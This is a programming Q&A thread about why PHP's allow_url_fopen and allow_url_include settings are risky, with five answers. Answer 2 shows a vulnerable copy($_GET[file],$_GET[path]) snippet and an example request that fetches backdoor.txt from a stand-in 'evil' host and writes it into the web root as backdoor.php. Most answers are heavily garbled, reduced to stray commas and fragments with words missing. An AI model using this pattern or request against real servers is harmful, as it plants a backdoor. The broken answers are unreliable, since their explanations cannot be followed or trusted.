PHP thread security

Question

Why is it not safe to allow access to resources with a URI, for example, " http://example.com/badcode.txt "? What does non-file mean?

I am reading this PHP security checklist: http://www.sk89q.com/2009/08/definitive-php-security-checklist/

THX

^ _ ^

Answer 1

You must keep in mind allow_url_fopen . Honestly, I do not think that there are any reasonable reasons for refusing this.

allow_url_include - , , , . , , ( ).

Answer 2

allow_url_fopen , , , "". , copy() , allow_url_fopen=On - :

copy($_GET[file],$_GET[path]);

http://localhost/copy.php?file=http://evil/backdoor.txt&path=/var/wwww/backdoor.php

allow_url_fopen . http/ftp/whatever. PHPSecInfo, php. PHPSecInfo allow_url_fopen.

Answer 3

, HTTP , , "". / HTTP ( , - ), , HTTPS.

Answer 4

(.. php). , , . , .

, , - . .

, , , , sql php. , eval . , , .

Answer 5

, "" , - , :

• HTTP, FTP,...

file_get_contents, allow_url_fopen .

"" , :

$file = '...';
$my_data = file_get_contents($file);

, $my_data - .

, $file -, script, , $_GET, , ... , $my_data, .

... , require file_get_contents... , PHP- !

, ( allow_url_fopen), ( allow_url_include).

Quite often, the first is activated because it is useful; and the second is turned off because it causes security risks.